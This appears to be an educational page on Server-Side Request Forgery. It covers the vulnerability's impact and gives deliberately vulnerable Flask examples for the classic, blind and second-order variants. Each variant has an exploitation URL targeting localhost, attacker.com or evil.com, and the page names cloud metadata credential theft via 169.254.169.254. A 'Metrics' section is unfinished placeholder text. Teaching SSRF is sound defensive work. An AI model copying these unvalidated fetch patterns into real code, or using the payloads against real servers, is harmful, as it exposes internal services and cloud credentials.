What is Server-Side Request Forgery (SSRF)?
Server-Side Request Forgery (SSRF) is a web vulnerability in which an attacker can force a server to perform an HTTP request to an arbitrary resource. Unlike client-side attacks, SSRF abuses the server’s ability to send requests to other locations, including internal resources that are inaccessible from the outside.
This vulnerability commonly arises when an application accepts a URL as
input
and uses it to fetch resources, images, or remote data without strict
validation. If this URL can be controlled, an attacker may redirect the
request to internal services such as 127.0.0.1,
localhost, or even special endpoints like cloud instance
metadata
services (169.254.169.254).
In terms of impact, SSRF has been exploited to scan internal networks, access databases, retrieve cloud instance secrets, and in some cases achieve remote code execution when the targeted service allows it. Understanding SSRF is critical for any security team, from analysts to cloud architects.
Impact
- Internal scanning: The attacker can discover internal ports and services that are not publicly exposed.
- Cloud metadata access: Temporary credentials (e.g., AWS IAM) can be extracted from endpoints such as 169.254.169.254.
- Restriction bypass: Enables firewall bypass by accessing internal services directly from the server.
- Data exfiltration: Potential leakage of sensitive information via internal responses or alternative channels.
- Access to internal panels: Interfaces such as Jenkins, Redis, or Docker may become exposed if not properly secured.
- Denial of Service: Internal services can be overwhelmed by abusing automated requests.
Metrics
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
Classic SSRF
This type occurs when the application directly returns the response from the server-side request. It is the most visible and simplest form of exploitation.
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/proxy')
def proxy():
url = request.args.get('url')
resp = requests.get(url)
return resp.text
Exploitation:
/proxy?url=http://127.0.0.1:8000.
If the internal port exposes a web interface, the attacker will see it
rendered.
Blind SSRF
In this case, the server performs the request, but the attacker does not see the response. Detection relies on external signals such as logs, DNS, or timing differences.
@app.route('/ping')
def ping():
url = request.args.get('url')
try:
requests.get(url, timeout=2)
return 'Sent'
except:
return 'Failed'
Exploitation:
/ping?url=http://attacker.com/ping.
Network or DNS logs are monitored to confirm access.
Second-Order SSRF
The attacker’s input is stored and later used by another function or service. It is harder to detect, but equally dangerous.
@app.route('/save')
def save():
avatar = request.args.get('avatar')
with open('avatars.txt', 'w') as f:
f.write(avatar)
return 'Saved'
@app.route('/load')
def load():
with open('avatars.txt') as f:
url = f.read()
requests.get(url)
return 'Fetched'
Exploitation:
/save?avatar=http://evil.com
followed by /load.
The server will process the request at a later time.